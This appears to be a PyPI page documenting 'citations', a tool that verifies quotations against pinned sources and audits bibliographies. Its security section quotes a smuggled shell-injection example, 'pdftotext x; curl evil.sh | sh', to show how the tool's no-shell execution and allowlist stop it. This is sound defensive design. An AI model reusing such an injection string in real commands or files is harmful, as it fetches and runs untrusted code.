Skip to main content

citations

pypi python license docs

Check that the passages you quote appear in the sources you cite.

Part of reproducible-science alongside repro, results and prereg — see the documentation.

Install

pip install citations
pip install "citations[sheets]"   # to read .xlsx and .xls sources
pip install "citations[docx]"     # to read .docx sources

What a check establishes

citations verify establishes one fact about each quotation: the passage occurs in the pinned copy of the source, as read by the extractor the report names. citations audit establishes one fact about each reference: its authors, title, year, volume and pages agree with the record its identifier resolves to.

Neither establishes that the source is correct, or that the passage supports the sentence it is quoted for. In a claims file statement is yours and exact is theirs, and only exact is checked.

A pin names bytes. A quotation pinned against a preprint is checked against the preprint, so the reference beside it should be the version that was pinned. Where a DOI resolves to another version of the work, audit reports the year as a disagreement.

Quick start

citations init
citations verify --claims claims/
2,940 quotes

  found         2,940
  not found         0

warnings
      213  short — the source may qualify this in the next clause
      155  normalized — matched after ignoring punctuation and spacing

all found.

A worked example

One source, one quotation, and one deliberate misquotation. The source is a text file, and its claims file starts with a pin and no claims:

source:
  citation: notes2026
  local: sources/notes.txt
  sha256: 915ac27df4c7…
  url: https://example.org/notes.txt
claims: {}

citations pin resolves a passage against the pinned file before it writes anything:

$ citations pin claims/notes2026.yaml --id mean-offset \
    --quote "The mean offset was 0.43 degrees, and it did not change with ambient temperature."
found     The mean offset was 0.43 degrees, and it did not change with
added     mean-offset to notes2026.yaml

The same sentence with two digits transposed is refused, and the file is left as it was:

$ citations pin claims/notes2026.yaml --id mean-offset-wrong \
    --quote "The mean offset was 0.34 degrees, and it did not change with ambient temperature."
not found  The mean offset was 0.34 degrees, and it did not change with
  read the source: a broken extraction reads the same as a passage that was never there
nothing written. read the source before recording the passage.

citations verify --claims claims then reads every claims file and reports 1 quotes, found 1, and read by 1 text. After one line is appended to the source, the quotation still resolves and the run fails, because the file is no longer the pinned one:

1 source changed since being pinned
  notes2026                               pinned 915ac27df4c7  on disk 3d79bea1dc32

every quote resolved, but against a source that is not the one pinned.

Commands

Command What it does
citations init Create a library here
citations pin Add a quotation to a claims file, refusing one that does not resolve
citations verify Do the quotations resolve in their sources?
citations coverage Is every quotation in my manuscript pinned at all?
citations audit Does the stored metadata match the record the identifier resolves to?
citations resolve Backfill missing DOIs and arXiv ids
citations build Rebuild records from bibliographies
citations lint BibTeX correctness, repeated keys, and author lists in a .bib
citations add Add one entry to a .bib, refusing a key it already has
citations link Point pdfs/ at the papers' artifacts
citations fetch Download the sources a claims directory pins, keeping only bytes that match the pin
citations import-paperclip Turn a Paperclip paper repo into pinned claim files

Fetching the sources a repository cannot ship

A publisher's PDF is not the author's to redistribute, so a public repository carries each source's sha256 and not the source. A reader who clones it has every pin and no file, and verify answers unchecked for every quotation.

citations fetch --claims claims/            # fetch what is absent
citations fetch --claims claims/ --dry-run  # say what would be asked, write nothing

For each absent source it tries the arXiv PDF where the source names an arXiv id or links an arXiv page, the URL the claims file records, and the open-access locations Europe PMC and OpenAlex list for the DOI. A download is installed only when its sha256 is the pinned one. Bytes that differ are reported as differs and never written: a paywall's landing page, or a PDF a publisher stamps on each download, would otherwise sit at the pinned path as a broken pin.

A source whose claims file records no url, doi or arXiv id is reported as no location: there is nowhere to ask, and citations pin says so when a quotation is pinned against one.

A source that stays differs or unavailable can be obtained another way and placed at the path its claims file names. verify checks it against the pin like any other.

verify also reads a source from the library before reporting it absent. Where the path a claims file names holds no file, it looks in the library's pdfs/ for a file under the same name and reads that copy if its sha256 is the pinned one, so a source kept once in the library serves every clone that pins it. See Where the library lives.

A source that records derived_sha256 is checked a second time once its bytes match: the declared extractor is run and the digest of its text compared. The two stages fail under different names, because they send a reader to different places. differs means the download is not the pinned file, and nothing was written. text differs means the file is the pinned one and the extractor now makes other text of it than the text the quotations were pinned in. text unchecked means the file is the pinned one and the extractor could not be run here, for the reason printed beside it, so the text was not compared; it is never reported as fetched.

Coverage: the manuscript side

verify reads the claims files. It takes no manuscript, so a quotation added to the paper and never pinned has no record, is checked by nothing, and leaves the report clean. coverage reads the manuscript instead and asks whether each ...'' `` is a span of something pinned.

citations coverage paper/draft.tex --claims claims
  covered           82
  uncovered          0
  unresolvable       1

  unresolvable  nosology_v6.tex:675
    ``Loci moved''
    under 12 characters once folded

Three outcomes, not two. A quotation too short to tell from noise is undecided, not a defect -- "loci moved" appears in a great many documents and its appearing in one establishes nothing. --strict fails on the undecided ones as well.

--attribute goes further and checks each quotation against the artifact of a source cited near it, which catches a passage credited to the wrong paper. Every key in the neighbourhood is offered, because the nearest is often not the source: the same document restricts leaves the real one several sentences back. It reports a misattribution only when every neighbouring source could be read; if one would not open, the passage may belong to it and the question is undecided.

An ellipsis is omitted text: the model ... performs well'' `` requires both fragments and requires nothing about what sits between them.

Verify output

Five results, and they are exhaustive:

Result Meaning
found The passage is in the source
not found The source was read and the passage is not in it
indeterminate Independent readers disagree about whether it is in it
ambiguous The passage occurs more than once and the record does not say which occurrence
unchecked No reader could read the source, so no measurement was made

Warnings are separate, because a passage can be found and still worth a second look. A quote can be short enough that the next clause changes its meaning — "We trained 50" appears verbatim in a paper whose sentence continues "...and 5 refits each for 12 layered".

unchecked, indeterminate and ambiguous are neither a pass nor a failure. Only not found fails; --strict also fails on the other three, for CI. A source whose bytes no longer match its pin fails the run whatever its quotations did.

not found means read the source. A mirror-reversed scan or a two-column extraction produces the same signal as a passage that was never there.

Where a passage is, and how it is matched

A quotation carries the passage and, optionally, where it sits:

Field What it is Checked
exact the passage, as the source has it yes
prefix, suffix the text on either side, for a passage that occurs more than once used to single out one occurrence
page the page it is on yes, in a paginated source read by a built-in PDF reader
section the section, as the source names it no, recorded only

A page the passage is not on leaves the result found with a page warning and the page it was found on. Under a declared extract_cmd there is no page to ask for, and the warning is page unchecked.

Matching is exact after folding, and never approximate. Folding removes what a PDF extractor changes and nothing else: case, runs of whitespace, curly quotation marks, the dash variants, accents written as combining marks, ligatures, and a hyphen at a line break. A passage that matches only once whitespace is ignored altogether is found with a normalized warning. Punctuation that carries meaning is kept, so p < 0.05 does not match a source reading p = 0.05, and -0.42 does not match 0.42.

Warning Meaning
short under 40 characters, or ending on a comma or a connecting word, so the source may qualify it in the next clause
truncated every occurrence stops mid-word or mid-number
normalized matched only after ignoring spacing
page, page unchecked found on another page, or the page could not be asked for

A match is relative to the extractor. Two readers produce two texts from one PDF, so a result names the reader, and not found means not found in the text that reader produced.

When a quotation will not resolve

not found says the source was read and the passage is not in it. That is an accusation against the manuscript, and it is usually wrong. Three things produce it far more often than a misquotation does, and verify now names which by reporting where the passage stopped matching:

not found by any of pdftotext -layout, pdftotext, pypdf, so the passage is absent under every
reader installed here; the first 155 characters are in the source and the rest is not
      quoted: ...tionality, e.g. vec('king') - vec('man') + vec('woman') = vec(
      source: ...tionality, e.g. vec('king') vec('man') + vec('woman') = vec('q

A character the text layer dropped. A minus sign, an en dash, a subscript. The quotation is right and the document's extraction is lossy. Repair it by splitting the quotation into two adjacent fragments either side of the missing character, never by truncating it to the part that matches -- a truncated quotation resolves and says something the source does not.

A hyphen on a line break. fold removes -\n because a renderer inserts one when it splits a word, and it cannot tell that from a real hyphen that happens to fall at a line end. The same quotation then resolves everywhere else in the document and fails at that one occurrence. Split it there.

The wrong reader. pdftotext -layout preserves a page's geometry, so on a two-column paper it interleaves the columns and shreds every sentence crossing the gutter. A block of failures concentrated in one document is this. verify consults the other readers before a not found stands and records which one answered, so this repairs itself; a tool that asks one extractor does not, and reports the document as missing text it contains.

A source that is not what it claims to be. A .pdf that is a Cloudflare interstitial or a login page fails under every reader. file will say so in one line.

Reading PDFs

Every result records which extractor produced the text it was checked against, because a pin establishes that the file has not changed and establishes nothing about the reading of it.

Extractor Engine Install
pdftotext -layout poppler, page geometry brew install poppler · apt install poppler-utils
pdftotext the same binary, poppler's reading order (as above)
pypdf its own content-stream parser pip install "citations[pypdf]"
pdfplumber pdfminer.six plus its own layout layer pip install "citations[pdfplumber]"

Poppler is preferred and recommended. Where it is absent, or fails on a document, the chain falls through to whichever pure-Python reader is installed and records the substitution as a fallback — so pip install citations alone is enough to check a PDF, and no result is quietly attributed to an extractor that did not produce it. pypdf comes before pdfplumber because it agreed with poppler on more of a 1,593-check corpus -- 92.7% against 90.2% -- and read a document in a third of the time; the measurement is in research/pdf-readers/.

The two poppler modes are one binary with one flag between them, and they fail in opposite directions: -layout preserves visual position and breaks a sentence spanning two columns, while reading order preserves the sentence and misplaces the subscripts beside it. Over 1,593 passage checks, reading order resolved 59 that -layout missed and missed 29 it resolved. Neither is right in general, so -layout reads a document by default and both are consulted under --triangulate, where a disagreement between them is reported rather than resolved.

A source that declares extract_cmd does not enter that chain. Its author has named the program that produces the text they quote, so it runs or the check is unchecked with its reason — falling through would run a PDF reader over a source the author just said is not a PDF, and record an extractor nobody asked for.

citations verify --claims claims/ --triangulate

--triangulate asks every installed reader instead of one. Where they disagree the result is indeterminate, never not found: two extractors disagreeing says the document is not determinate under the readers on this machine, which accuses nothing, while not found asserts the manuscript quoted a passage its source does not contain. Triangulation is opt-in because it costs one extraction per reader; it does not apply to a source that declares a command, and a run that triangulated nothing says so rather than reporting the readers as having concurred.

Text kept between runs

Running pdftotext over each source is most of what citations verify costs, so the command keeps what it extracts and reads several sources at a time. An entry is filed under the sha256 of the source's bytes, the version pdftotext reports, and its arguments. A source whose bytes changed, a different poppler or a different flag is extracted again; nothing is looked up by path or by date. The report counts the readings that came from the cache:

28 extractions taken from the cache, filed under the source's sha256 and the extractor's version; --no-cache reads every source again

--no-cache, or CITATIONS_NO_CACHE=1, runs the extractor over every source and keeps nothing. The entries hold text from the sources, so they live with the user and not in a repository: $CITATIONS_CACHE_DIR, else $XDG_CACHE_HOME/citations/extractions, else ~/.cache/citations/extractions. Only pdftotext is kept. A declared extractor the package does not know has no version to ask for, and is run every time. repro verify reads every source every time.

Reading workbooks, .docx and article XML

Three built-in extractors read the formats a supplement or an open-access article arrives in, so a claims file can pin the publisher's file and not a text somebody made from it:

Extractor Reads Produces Install
sheet-rows .xlsx, .xls, .csv one row per line, cells joined with | pip install "citations[sheets]" (.csv needs nothing)
docx-text .docx body paragraphs in order, then each table one row per line pip install "citations[docx]"
jats-text JATS XML: Europe PMC fullTextXML, NCBI efetch db=pmc one block per line, inline markup dropped, entities decoded, table rows as cells nothing

A workbook or a .docx that declares nothing is read by the extractor its suffix names. An .xml that declares nothing is still read as plain text with its markup, so quotations already pinned against the XML as served go on resolving; jats-text is for a source that names it.

source:
  local: sources/original/aragam2022cad_main.xml
  sha256: 67b6…                 # the bytes Europe PMC serves
  url: https://www.ebi.ac.uk/europepmc/webservices/rest/PMC9729111/fullTextXML
  extractor: jats-text          # what turns them into the text quoted
  extractor_version: 1          # which rendering of it
  derived_sha256: 7d8f…         # the text it produced when the quotations were pinned

sheet-rows takes two more fields: sheet: ST1 reads that sheet alone, where the default is every sheet in workbook order, and empty_cells: keep keeps a row's empty cells, where the default drops them. A source names extractor or extract_cmd, never both.

Each extractor has a version, and the version is of its output: it changes when the same bytes would produce different text. A result names both, as jats-text@1. A claims file naming a version this build does not ship is unchecked and says which two versions are involved, because reading with the other one would report a verdict against text the file never pinned. A reader that is not installed is unchecked and names the install. Neither is ever found.

derived_sha256 is the digest of the extracted text. The pin establishes that the bytes did not change; this establishes that the reading of them did not. citations pin writes it, with extractor_version, when the first quotation is pinned, and refuses a later quotation where the extractor no longer produces that text. verify reports such a source beside the broken pins and fails, and fetch reports it as text differs.

Read as plain text, an article's XML keeps <italic>, <sup>, <xref> and its character entities, and a quotation crossing one does not resolve. On 72 Europe PMC and NCBI articles whose quotations had been pinned against tag-stripped text, 194 of 314 quotations resolved in the XML as served and 308 resolve through jats-text. The other 6 are table rows quoted with spaces between cells, which jats-text renders with | between them.

Audit output

verify asks whether a quotation is in the source. audit asks a different question: does the author list, year, volume and page range stored beside an identifier match the record that identifier resolves to?

citations audit --bib paper/references.bib
75 entries

  checked          62
  agree            36
  disagree         26
  no id            13   nothing can check these until they have a DOI or PMID

26 disagree with the record their own identifier resolves to.
a wrong author list on a right DOI is invisible to every other check.

That run is real. Four of those entries carried an author list belonging to nobody on the cited paper, one PMID resolved to an unrelated article in another field, and four author lists stopped early with no and others marker. Every one of them resolved. A DOI checker, a link checker and citations verify all pass them, because the DOI does point at the right paper — it is the names beside it that belong to someone else.

Disagreements a registry causes rather than the bibliography are not reported: an online-first year against a print year, a deposited initial against a printed given name, PubMed's abbreviated end page, a BibTeX accent against the Unicode it encodes, and markup a publisher deposited inside a title. What survives is a disagreement about the work.

An entry with no DOI and no PMID is searched for by title in Semantic Scholar, Crossref, OpenAlex and arXiv. A candidate is accepted under the rule citations resolve uses: the title is close, the first author's surname is among the candidate's authors, and the year agrees within one. The entry is then compared with the registry record of the identifier found, and the report lists that identifier so it can be added to the entry.

Row Meaning Fails --strict
by search The search found a DOI or an arXiv id and the entry was compared with its record. An arXiv id is read as the DataCite DOI 10.48550/arXiv.<id>. These entries are counted in checked. on a disagreement
found The search matched an OpenAlex record that has no DOI, so there is no registry record to compare with. no
not found At least one service answered and none had a matching record. A book, a report and a thesis land here, and so does a reference to a work that does not exist. no
unresolved A registry did not return the record, or every search service refused. No measurement was made. yes

An identifier found by title can belong to another version of the work, such as the preprint of a journal article, so a year or venue disagreement on a by search entry is read before it is corrected. --no-search asks no search service and counts these entries under no id, as in the report above.

Fetched payloads and search answers are cached beside the file audited, so a re-run is offline and the report is reproducible from what was fetched rather than from the network. A refusal is not cached, so a service that refused is asked again on the next run.

Adding an entry to a bibliography

Appending an entry by hand is how a duplicate key gets into a .bib, and BibTeX's answer to one is non-fatal. It reports Repeated entry, keeps the copy the file defines first, skips the second and writes a .bbl without it — so a corrected entry appended below an old one never reaches the reference list, and the build fails somewhere else entirely, in Citation undefined warnings that name nothing.

citations add refs.bib --key smith2026thing --entry-file entry.bib
citations add refs.bib --doi 10.1145/3287560.3287596
citations add refs.bib --arxiv 1706.03762

A key the file already defines exits non-zero, prints both entries side by side and writes nothing. Case is folded, because BibTeX folds it: Smith2026Thing in a file that has smith2026thing is a repeat under BibTeX and a second work under biber, and neither is what the file says. Where the entry is fetched, it is shown before it is written and carries every author the registry lists — and others is never written into a .bib, since a shortened list looks exactly like a complete one.

$ citations add refs.bib --arxiv 1706.03762
  fetched from  arxiv
  authors       8, as the registry lists them
  key           vaswani2017attention  (derived; --key names another)
...
  appended to refs.bib: 2 entries, now 3, vaswani2017attention in exactly one.

The write is read back before it is reported: the file has to parse as every entry it parsed as before plus this one, with the key on exactly one line, or the original bytes go back.

citations lint --bib refs.bib asks the same question of a file already written, and reads the author fields while it is there. It needs no papis, no library and no network, so it runs in continuous integration.

  bib  refs.bib
    sprague2024cot                        repeated  lines 374, 989
    bhaskar2024finding                    bare      line 41
      no given name for 4 of the authors: 'Bhaskar', 'Wettig', 'Friedman', 'Chen'

  230 entries, 1 repeated key(s), 1 author list(s) with a bare family name

bare is an author written as a family name with nothing beside it. author = {Bhaskar and Wettig and Friedman and Chen} prints as "Bhaskar, Wettig, Friedman, and Chen." in the reference list, and five entries in one paper's bibliography were like that on the day it was submitted. citations lint --authors passed all five: those four family names are the four arXiv:2406.16778 lists, in order, and family names are all that comparison reads. Nothing outside the file settles a missing given name, so it is checked offline beside the repeated keys. A braced name is not a finding — {NASA}, {Open Science Collaboration} — because braces are how BibTeX is told a name has no given part and is printed as written; the same braces keep {U.S. Food and Drug Administration} one author rather than two.

Author lists, against the identifier the entry already carries

citations lint --authors refs.bib reads each entry's author list back against the registry its own DOI or arXiv id names. Two agents in one session attributed "Mediational E-values" to VanderWeele and Chiba while quoting the paper's DOI; Crossref gives Smith, Louisa H. and VanderWeele, Tyler J. A VanderWeele and Chiba paper does exist, on another subject in another journal, so the entry was two real papers written as one — every field named something that exists, which is why reading the reference list does not catch it.

$ citations lint --authors refs.bib
  authors  refs.bib
  cache    .author-cache.yaml
    vanderweele2019mediational            wrong    doi:10.1097/EDE.0000000000001064  (crossref)
      author 1: ours 'VanderWeele, Tyler J.', registry 'Smith, Louisa H.'
    vaswani2017attention                  marker   arxiv:1706.03762  (arxiv)
      the list is shortened with `and others` / `et al.`; the registry lists 8

  4 entries, 3 checked, 1 with no identifier, 0 that did not fetch, 3 finding(s)

Four kinds of finding come out of the one comparison: wrong for a name belonging to another paper, dropped for a list that stops early with no marker, marker for and others or et al. written into a .bib, and order for the registry's names in another sequence. Comparison is on family names, folded, with both spellings of an accent and with surname particles stripped as well as kept, so Krzyżosiak against Krzyzosiak and "de Mezer" against the "Mezer" OpenAlex files it under are not findings. Entries carrying no identifier are skipped and counted rather than passed. Resolved lists are cached in .author-cache.yaml beside the bibliography, so a second run needs no network and a pre-commit hook can call it.

A list whose family names are the registry's and whose given names are absent is none of the four, and --bib reports it from the file alone.

Full text through Paperclip

citations resolve --via paperclip fetches a source's full text from Paperclip, writes it to sources/paperclip/, and pins those bytes by sha256 in a claims file.

pip install 'citations[paperclip]'
export PAPERCLIP_API_KEY=...
citations resolve --via paperclip 10.1101/2025.10.22.681631 10.1038/s41586-021-03819-2
  pinned      10.1101/2025.10.22.681631               d9f585e2faad
  unavailable 10.1038/s41586-021-03819-2              Paperclip truncated the document at 2179 of 2485 lines

  pinned 1 of 2
  1 without a pinned copy; quotations against those read `unchecked`.

Paperclip is never in the verification path. It is asked once, for bytes. Afterwards citations verify reads the local file and nothing else, so a check runs with no network, no account, and no dependence on the service still serving the same corpus. A remote answer that a passage is in a paper is an answer nobody can re-derive.

Outcome Meaning What verify then reports
pinned the whole document arrived and carries a digest found or not found
unresolved Paperclip indexes no full text for the identifier unchecked
unavailable the extra is absent, no key is set, or the answer was not the whole document unchecked

Full text is open access only, so a bibliography of Elsevier and Springer articles resolves mostly to unchecked. That is the true account of what can be checked, and the extra being uninstalled produces the same unchecked rather than an error.

A document that arrives incomplete is refused rather than pinned. Paperclip cuts its own output at 250,000 characters — mid-sentence, with [output truncated at 250000 chars] appended — so a 2,485-line article arrives as its first 2,179 lines. Pinning a prefix would put part of a paper on disk under the name of the whole one, and every quotation past the cut would read not found, a checker manufacturing misquotations out of a transfer limit. So the file's last line number is read first with tail -n 1, and a body that does not run to it is unavailable.

That extent comes from the file and never from ls, whose printed (N lines) counts something else for a PubMed Central document: 1,626 against a file whose last line is L829. For bioRxiv the two agree, so taking the listing at its word looks right until it silently refuses every PMC paper in a bibliography as truncated.

Importing a paper repo

citations import-paperclip <repo> reads a Paperclip repo and writes one claim file per paper, each source resolved and pinned.

citations import-paperclip my-review --claims paper/claims

A committed claim becomes a statement, because that is what it is: the sentence whoever committed it wrote, not a passage from the paper. Putting it under quotes would have the tool search the source for a sentence nobody says is in it. The quotes list comes out empty, for the author to fill in against the pinned text.

A --lines L45-L52 range becomes the claim's hint, recorded and never verified. It addresses Paperclip's parse of a PDF, which is remote and can be re-run with every line renumbered, so it says where to start reading and cannot say what a passage is. It is never written to page, which is the locator verify checks.

source:
  local: sources/paperclip/10-1101-2025-10-22-681631.txt
  sha256: d9f585e2faad2d878878fe5c5490babe9b9986e90642c7545fb4e72ef7a21653
  extract_cmd: none
  paperclip:
    identifier: 10.1101/2025.10.22.681631
    document: 22c1bebd-6dc0-1014-8e0e-900874d71cd6
    path: /papers/22c1bebd-6dc0-1014-8e0e-900874d71cd6/content.lines
    lines: 79
    service_version: 0.7.38
    fetched: '2026-08-25T19:34:02+00:00'

claims:
  c-9c1a2f6b04:
    statement: 'Features are polysemantic.'
    hint: 'L45-L52'
    quotes: []

Identifying yourself to the metadata services

citations resolve, citations add and citations audit query Crossref, OpenAlex, arXiv and Semantic Scholar. Set CITATIONS_CONTACT to an address you are willing to send them:

export CITATIONS_CONTACT=you@example.org

Nothing is sent without it. Crossref and OpenAlex then place the requests in their polite pool, which is faster and less likely to rate-limit, so a long citations lint --authors run over a large bibliography is slower with the variable unset. That is the tradeoff, not a regression: the alternative was shipping one person's address in every user's requests.

Semantic Scholar is asked without a key by default, and its anonymous quota is low enough that it often refuses. Set SEMANTIC_SCHOLAR_API_KEY to a key from Semantic Scholar to have its answers counted. No other service needs a key, and a service that refuses is reported as not having answered, never as having found nothing.

export SEMANTIC_SCHOLAR_API_KEY=...

Where the library lives

$CITATIONS_HOME             if set
./.citations/ walking up    this project's own, the way git finds .git
the shared library          if you made one with citations init --user
none of those               it tells you to run citations init

Project-local by default, so running the tool inside a paper works on that paper and there is no hidden global state.

Sources the library holds

citations verify --claims claims/ reads each source at the path its claims file names. Where that path holds no file, it looks for pdfs/<the same filename> in the library and reads that copy only if its bytes hash to the sha256 the claims file pins:

source:
  local: reference/schiffman2026.pdf   # absent in a fresh clone
  sha256: 3f9a…                        # $CITATIONS_HOME/pdfs/schiffman2026.pdf is read if it hashes to this

The report then says how many sources were read that way and from which directory:

94 sources absent at the path the record names and read from the library, matched to the pinned sha256
  /home/you/citations-library/pdfs

The pin is what identifies the file; the name only says where to look. A claims file with no sha256 is never read from the library, and its quotations stay unchecked with a reason saying a pin is needed. A library file under the right name with other bytes is not read either, and the reason gives both digests. verify writes nothing to the library and downloads nothing, a source present at the path its claims file names is read from there as before, and a library with no pdfs/ entry under that name leaves the report as it was: unchecked, file not found.

What a claim file looks like

One file per source, in the paper's claims/ directory. citations verify --claims claims reads all of them.

source:
  citation: schiffman2026             # the bibkey
  local: reference/schiffman2026.pdf  # what gets read
  sha256: 3f9a…                       # which bytes were read
  extract_cmd: pdftotext -layout {} - # what turned the bytes into text

claims:
  orthogonal-cores:
    statement: 'Cores meeting equivalent causal criteria sit at principal angles of 75-90 degrees.'
    quotes:
      - exact: 'and principal angles ranged'
        section: 'body'

statement is yours; exact is theirs. The tool checks the second only, so a statement that overreaches its quote is for review to catch — the command cannot.

Declaring the extractor

A PDF goes through pdftotext -layout; .txt, .md, .tei, .xml, .html, .htm and .rst are read straight off disk; a workbook or a .docx goes through a built-in extractor. Anything else — a .tex manuscript, a two-column PDF whose columns -layout splices together — needs a renderer the claims file names:

source:
  local: paper/manuscript.tex
  sha256: 8c41…
  extract_cmd: detex

The source path replaces {}, or is appended when the command has no {}, and the command prints the text to stdout. That text is what the quotations resolve against, and verify names the command that produced it:

1 quotes

  found             1
  not found         0

read by
        1  detex

Which renderer is not a detail. detex leaves \REVIEW{check this against Table 2} welded onto the word before it, so a quotation ending at that word comes back found with a truncated warning; pandoc -f latex -t plain drops the annotation and the same quotation comes back clean. A pin says the bytes did not change and says nothing about how they were read, so the report names the extractor and records a digest of what it produced.

The package ships no LaTeX support, because a renderer has to settle three things a package cannot settle for every manuscript. The renderer this project uses on its own manuscript drops the argument of an annotation macro (\REVIEW{...} sitting between two words of a sentence), keeps the argument of every other control word (\textbf{145 are checkable} is the number the claim is about), and puts a separator wherever markup was removed, so a quotation cannot silently span two table cells. Those three rules are right for that manuscript and wrong for one that writes prose inside \REVIEW, which is why the field names a renderer rather than the package guessing at one.

What is allowed to run

extract_cmd runs a program on the machine doing the checking. The case that decides the rules is not an author running their own claims file: it is citations verify in CI on a pull request from a fork, where the contributor wrote the claims file and the command executes on the maintainer's runner with the runner's environment in reach.

  • No shell. The declared string is split into a program and arguments and executed directly. pdftotext x; curl evil.sh | sh is not filtered out — it cannot be expressed. The ; and the | arrive at pdftotext as arguments and it fails.
  • An allowlist. pdftotext and detex run unasked. Anything else needs citations verify --allow-extractor NAME, written by whoever runs the check rather than by whoever wrote the claims file. The program is matched as written, so pdftotext is allowed and ./pdftotext is not.

A refused command is unchecked and says it was refused; a command that is not installed is unchecked and says that instead. The remedy for one is consent and for the other an install, and neither makes the passage absent.

A built-in extractor is outside the allowlist. It runs in the checking process and executes no program, so a claims file naming one has named a reader this package ships and nothing on the machine.

The allowlist bounds which program runs, not what an allowed program can be told to do, so a program that loads and runs code named on its own command line stays out of the default set. pandoc --lua-filter and mutool run are both arbitrary execution; reaching either is a deliberate act with the consequence in view.

Records are YAML

So git diff shows what changed. A binary store cannot show you that a year moved from 2021 to 2022 — a real discrepancy this found between two of one author's own papers.

Claude Code

plugin/ is a Claude Code plugin. Three surfaces, because each catches a different failure: the hook catches what the model does not think to do, the skill catches what you did not know to ask for, and the command is there for when you want the answer now.

surface fires
hook when a quotation enters a manuscript that no claim file pins to a source
skill when Claude judges the situation calls for quoting a paper, adding a citation, or checking whether a quote is real
command when you type /citations-check

Why the hook. A quotation is the one thing in a paper that can be checked exactly: it is in the source or it is not. Prose is where a remembered sentence drifts, and nearly right is wrong. Passages are compared with case, spacing and punctuation folded away, so a curly apostrophe or a wrapped line does not read as a passage nobody pinned.

It reports and never blocks, and stays silent in a project with no claims/ directory.

/plugin marketplace add elliottower/reproducible-science
/plugin install citations@reproducible-science

The plugin ships instructions and hooks, not binaries, so install the tool as well:

uv tool install citations        # or: pip install citations

All four tools in one plugin, with every hook, skill and command:

/plugin install reproducible-science@reproducible-science

MIT licensed. docs/ has the working practices this came out of.

This tool and repro

citations installs and runs on its own, is not deprecated, and is not going to be. reproducible-science depends on it, so repro citations ... runs this same command with the same arguments and the same exit code. That is a spelling, not a feature.

What only exists in the umbrella is repro check, which runs every tool a project uses in one pass, with one report and one exit code, and names the tools the project does not use rather than counting them as passing. If a project checks quotations and nothing else, use this command directly.

Metadata

Release files for citations 0.5.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for citations 0.5.1
File Size Uploaded
citations-0.5.1.tar.gz 265.4 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for citations 0.5.1
File Interpreter ABI Platform
citations-0.5.1-py3-none-any.whl Python 3 none any Details

Total release size: 439.7 kB

Release files / citations-0.5.1.tar.gz

Download URL citations-0.5.1.tar.gz
Size 265.4 kB
Tags Source
SHA-256 checksum
How to use checksums
15380d5c6480dc20a26ce67217008eae4a7edc4551aa80667324f75e8136d936
BLAKE2b-256 checksum
How to use checksums
1ed12d55793aa7427c8e728a173ca39d70e490af48f26f7c863f81455440bff8
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 7, 2026.

Transparency log

Release files / citations-0.5.1-py3-none-any.whl

Download URL citations-0.5.1-py3-none-any.whl
Size 174.3 kB
Tags Python 3
SHA-256 checksum
How to use checksums
d1359a5c5ab52cfa47607031496d0629557d09d1486c6eeef39613f02835c98c
BLAKE2b-256 checksum
How to use checksums
6e8622a7a45289702f965f394fc93a7a7abe2f57a6308bb2565f49555e33e13c
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 7, 2026.

Transparency log

Release history Release notifications | RSS feed

0.6.1

2 release files

0.6.0

2 release files

0.5.6

2 release files

0.5.5

2 release files

0.5.4

2 release files

0.5.3

2 release files

0.5.2

2 release files

This release

0.5.1 This release

2 release files

0.5.0

2 release files

0.4.2

2 release files

0.4.1

2 release files

0.4.0

2 release files

0.3.1

2 release files

0.3.0

2 release files

0.2.0

2 release files

0.1.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page